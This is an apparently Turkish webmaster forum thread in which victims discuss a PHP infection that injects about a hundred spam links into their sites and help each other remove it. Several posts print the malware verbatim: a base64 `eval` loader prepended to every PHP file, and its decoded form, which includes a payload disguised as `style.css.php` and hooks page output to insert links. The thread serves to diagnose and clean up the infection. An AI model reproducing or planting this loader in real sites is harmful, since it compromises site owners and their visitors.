Yine FTP Virüsü? Fakat Biraz Farklı

Question

Dosyaların içine aşağıdaki kodu atıyor; Sitede body tagının hemen altında linklerini ekliyor. Çok çakalca bir yöntem farkındayım... Yalnız sorun şurada, ne yaparsanız yapın, dosyayı yenisiyle de değiştirsem silinmiyor o kısım.. xx.php dosyası diyelim, dosyayı editlesem de yeniden atsam da www.siteadı.com/xx.php ye girince o kodlar çıkıyor.. Nasıl bir mantık?? Ne yaptıysam silemedim, tüm konuları okudum. Başına bu olaydan gelen var mı arkadaşlar?? Deli etti deli..

aog · Answer

SLiM_BoY adlı üyeden alıntı:						mesajı görüntüle									Bir de 83292.php gibi dosyalar oluşturuyor klasörlere, onları da silmek lazım sanırım.
Hatırlamam mı, nbatr  Çok şükür, sen de iyisindir inşallah. 		Ben girdim kendi için özel klasörüne 100 MB dosya vardı  Direk klasorun adını değiştirdim, zaten kodlar ulaşamadığından sorun kalmadı. 


İyi gibi hocam ya, sağolasın.  Dikkat et kendine

aog · Answer

O_o adlı üyeden alıntı:						mesajı görüntüle									Yahu neden son zamanlarda bu ftp virüsleri iyice çoğaldı.. Bu virüsü yapan adamın amacı ne ki ne kazanacak bize virüs girince anlamıyorum.. 		Dostum bu kodu yayan adam çok çakal, yazdığı kodla istediği kodları ekliyor sitelere.. Uzaktan yönetimi de var, kodları istediği zaman da değiştirebiliyor..

Cevabı çok basit: Link almak için

Ama saçmalıyor, 100'e yakın link ekliyor..

Ciklet adlı üyeden alıntı:						mesajı görüntüle									Valla hocam bu kadar sade hoş anlattığın için sağol + nı veriyorum Çok teşekkürler o kodları silmeye benim ömrüm yetmez  		Ne demek hocam  Boşver silme zaten

Mr.Function · Answer

Yahu neden son zamanlarda bu ftp virüsleri iyice çoğaldı.. Bu virüsü yapan adamın amacı ne ki ne kazanacak bize virüs girince anlamıyorum..

Ciklet · Answer

Valla hocam bu kadar sade hoş anlattığın için sağol + nı veriyorum Çok teşekkürler o kodları silmeye benim ömrüm yetmez

aog · Answer

Hepsini tek bir sayfaya yönlendiriyor, orada cache'liyor..

Base 64 Decoder
Buradan encode ediyoruz tırnaktan sonraki kısmı.

Decode edilmiş hali;

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home/oknyldrm/public_html/wordpress/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php')){include_once('/home/oknyldrm/public_html/wordpress/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($R20FD65E9C7406034FADC682F06732868){$R6B6E98CDE8B33087A33E4D3A497BD86B=ord(substr($R20FD65E9C7406034FADC682F06732868,3,1));$R60169CD1C47B7A7A85AB44F884635E41=10;$R0D54236DA20594EC13FC81B209733931=0;if($R6B6E98CDE8B33087A33E4D3A497BD86B&4){$R0D54236DA20594EC13FC81B209733931=unpack('v',substr($R20FD65E9C7406034FADC682F06732868,10,2));$R0D54236DA20594EC13FC81B209733931=$R0D54236DA20594EC13FC81B209733931[1];$R60169CD1C47B7A7A85AB44F884635E41+=2+$R0D54236DA20594EC13FC81B209733931;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&8){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&16){$R60169CD1C47B7A7A85AB44F884635E41=strpos($R20FD65E9C7406034FADC682F06732868,chr(0),$R60169CD1C47B7A7A85AB44F884635E41)+1;}if($R6B6E98CDE8B33087A33E4D3A497BD86B&2){$R60169CD1C47B7A7A85AB44F884635E41+=2;}$RC4A5B5E310ED4C323E04D72AFAE39F53=gzinflate(substr($R20FD65E9C7406034FADC682F06732868,$R60169CD1C47B7A7A85AB44F884635E41));if($RC4A5B5E310ED4C323E04D72AFAE39F53===FALSE){$RC4A5B5E310ED4C323E04D72AFAE39F53=$R20FD65E9C7406034FADC682F06732868;}return $RC4A5B5E310ED4C323E04D72AFAE39F53;}}function dgobh($RDA3E61414E50AEE968132F03D265E0CF){Header('Content-Encoding: none');$R3E33E017CD76B9B7E6C7364FB91E2E90=gzdecode($RDA3E61414E50AEE968132F03D265E0CF);if(preg_match('/\<body/si',$R3E33E017CD76B9B7E6C7364FB91E2E90)){return preg_replace('/(\<body[^\>]*\>)/si','$1'.gml(),$R3E33E017CD76B9B7E6C7364FB91E2E90);}else{return gml().$R3E33E017CD76B9B7E6C7364FB91E2E90;}}ob_start('dgobh');}}}

buymuş..

Şimdi senin yapman gereken tek şey

home/oknyldrm/public_html/wordpress/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php

bunun bulunduğu kısmı yok etmen, sadece img klasorunun adını img2 diye değiştirsen bile kurtulursun koddan, şahsen ben öyle yapmıştım..

Şİmdi

home/oknyldrm/public_html/wordpress/wp-includes/js/tinymce/plugins/inlinepopups/skins/clearlooks2/ buraya gir ve img klasorunun adını img2 olarak değiştir. Hiç bir sorunun kalmayacak, kod zararsız bi hal alacak, keyfin yeterse bulaştığı dosyalardan kodu kaldırabilirsin tabi

Bende duruyorlar mesela

Bu kadar anlatıma bi +rep verirsin artık

onRLive · Answer

şerefsizler,2 gun once benım ftpye girmişler heryerde link var htaccess içinde bile link var:S

Ciklet · Answer

aog adlı üyeden alıntı:						mesajı görüntüle									Virüs bulaşan kısmı buraya yapıştır 		<? /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS9va255bGRybS9wdWJsaWNfaHRtbC93b3JkcHJlc3Mvd3AtaW5jbHVkZXMvanMvdGlueW1jZS9wbHVnaW5zL2lubGluZXBvcHVwcy9za2lucy9jbGVhcmxvb2tzMi9pbWcvc3R5bGUuY3NzLnBocCcpKXtpbmNsdWRlX29uY2UoJy9ob21lL29rbnlsZHJtL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1pbmNsdWRlcy9qcy90aW55bWNlL3BsdWdpbnMvaW5saW5lcG9wdXBzL3NraW5zL2NsZWFybG9va3MyL2ltZy9zdHlsZS5jc3MucGhwJyk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmIWZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygndicsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319ZnVuY3Rpb24gZGdvYmgoJFJEQTNFNjE0MTRFNTBBRUU5NjgxMzJGMDNEMjY1RTBDRil7SGVhZGVyKCdDb250ZW50LUVuY29kaW5nOiBub25lJyk7JFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MD1nemRlY29kZSgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKTtpZihwcmVnX21hdGNoKCcvXDxib2R5L3NpJywkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPGJvZHlbXlw+XSpcPikvc2knLCckMScuZ21sKCksJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7fWVsc2V7cmV0dXJuIGdtbCgpLiRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTA7fX1vYl9zdGFydCgnZGdvYmgnKTt9fX0=')); ?>smf forum kullanıyorum bütün php dosyalarımın en üstünde bu kod var usta

aog · Answer

Ciklet adlı üyeden alıntı:						mesajı görüntüle									Bunu naısl yapıcaz anlamdım da 		Virüs bulaşan kısmı buraya yapıştır

Ciklet · Answer

aog adlı üyeden alıntı:						mesajı görüntüle									Benzer sorunu yaşayan arkadaşlar, buldukları kodu
Base 64 Decoder
Bu siteden encode edip, ******** kodu yok edebilir! İşte zafer  		
Bunu naısl yapıcaz anlamdım da

aog · Answer

Şerefsizler ya, bari 5-10 link at işe yarasın.. 100 tane dayıyo adi herif..

AllyCan · Answer

böyle link alıp böyle ftp çalıyor adiler yazık

bende bakayim benim sitelerede girmiş olabilir

blacksea61 · Answer

hostcunuzada iletin sunucuda bir tarama yapsın

SLiM_BoY · Answer

aog adlı üyeden alıntı:						mesajı görüntüle									Ben girdim kendi için özel klasörüne 100 MB dosya vardı  Direk klasorun adını değiştirdim, zaten kodlar ulaşamadığından sorun kalmadı. 
İyi gibi hocam ya, sağolasın.  Dikkat et kendine  		Sanırım yaklaşık 2000 adet dosya sildim klasörden.  Sağolasın, kolay gelsin.

SLiM_BoY · Answer

aog adlı üyeden alıntı:						mesajı görüntüle									Değiştiriyorum 444 yapıyorum yine aynı..
SLiM_BoY nasılsın bu arada, hatırladın mı  		Bir de 83292.php gibi dosyalar oluşturuyor klasörlere, onları da silmek lazım sanırım.

Hatırlamam mı, nbatr  Çok şükür, sen de iyisindir inşallah.

aog · Answer

Benzer sorunu yaşayan arkadaşlar, buldukları kodu

http://www.opinionatedgeek.com/dotne.../Base64Decode/

Bu siteden encode edip, ******** kodu yok edebilir! İşte zafer

aog · Answer

blacksea61 adlı üyeden alıntı: mesajı görüntüle if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home89a/sub001/sc36162-BNYR/omerguney.com/wp-content/themes/mandigo/style.css.php')){include_once('/home89a/sub001/sc36162-BNYR/omerguney.com/wp-content/themes/mandigo/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}bu kodu bi incelesen iyi olur. kod kendini otomatik şifreliyor.(İlk verdiğin base 64 ile şifrelenmiş kodun açık hali) Sağol hocam büyüksün ya, şimdi çözdüm olayı, sunucudaki bir dosyaya bulaşıyor ve diğer tüm dosyalara burayı çalıştırıyor Sağol hocam tekrardan

aog · Answer

SLiM_BoY adlı üyeden alıntı:						mesajı görüntüle									1 sene önce kurduğum foruma bulaşmış; bence bilgisayardan değil. CHMOD ayarları 777'ymiş forum dosyalarının.  		Değiştiriyorum 444 yapıyorum yine aynı..

SLiM_BoY nasılsın bu arada, hatırladın mı

SLiM_BoY · Answer

Firat31 adlı üyeden alıntı:						mesajı görüntüle									Kardes Bence Ftpden Yedegini Al + Sonra Ftpyi Sil Tekrar Ftp Ac Ve Virüssüz Bi Bilgisayarda Geri Kur siteni Bence Sorunun Cozulur Cunku Virüs Bilg 'dan Bulasiyor . 		1 sene önce kurduğum foruma bulaşmış; bence bilgisayardan değil. CHMOD ayarları 777'ymiş forum dosyalarının.

Firat31 · Answer

Kardes Bence Ftpden Yedegini Al + Sonra Ftpyi Sil Tekrar Ftp Ac Ve Virüssüz Bi Bilgisayarda Geri Kur siteni Bence Sorunun Cozulur Cunku Virüs Bilg 'dan Bulasiyor .

aog · Answer

blacksea61 adlı üyeden alıntı: mesajı görüntüle if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home89a/sub001/sc36162-BNYR/omerguney.com/wp-content/themes/mandigo/style.css.php')){include_once('/home89a/sub001/sc36162-BNYR/omerguney.com/wp-content/themes/mandigo/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}bu kodu bi incelesen iyi olur. kod kendini otomatik şifreliyor Bunu nereden buldun hocam, evet inceledim de ne demek istiyor tam çözemedim. Nereye şifreliyor?

blacksea61 · Answer

if(function_exists('ob_start')&&!isset($GLOBALS['sh_no'])){$GLOBALS['sh_no']=1;if(file_exists('/home89a/sub001/sc36162-BNYR/omerguney.com/wp-content/themes/mandigo/style.css.php')){include_once('/home89a/sub001/sc36162-BNYR/omerguney.com/wp-content/themes/mandigo/style.css.php');if(function_exists('gml')&&!function_exists('dgobh')){if(!function_exists('gzdecode')){function gzdecode($d){$f=ord(substr($d,3,1));$h=10;$e=0;if($f&4){$e=unpack('v',substr($d,10,2));$e=$e[1];$h+=2+$e;}if($f&8){$h=strpos($d,chr(0),$h)+1;}if($f&16){$h=strpos($d,chr(0),$h)+1;}if($f&2){$h+=2;}$u=gzinflate(substr($d,$h));if($u===FALSE){$u=$d;}return $u;}}function dgobh($b){Header('Content-Encoding: none');$c=gzdecode($b);if(preg_match('/\]*\>)/si','$1'.gml(),$c);}else{return gml().$c;}}ob_start('dgobh');}}}bu kodu bi incelesen iyi olur. kod kendini otomatik şifreliyor.(İlk verdiğin base 64 ile şifrelenmiş kodun açık hali)

aog · Answer

egalix adlı üyeden alıntı:						mesajı görüntüle									proFTPd mi var sunucuda ? 		Bilmiyorum hocam

						SLiM_BoY adlı üyeden alıntı:						mesajı görüntüle									Bugün ben de karşılaştım. SMF kullanan boş bi forumuma eklenmiş bu kod. 		Ben de araştırdım, bir çok forumda var ama farkında olmayan da çok. Yazık ya

Silinmiyor da ha

SLiM_BoY · Answer

Bugün ben de karşılaştım. SMF kullanan boş bi forumuma eklenmiş bu kod.

egalix · Answer

proFTPd mi var sunucuda ?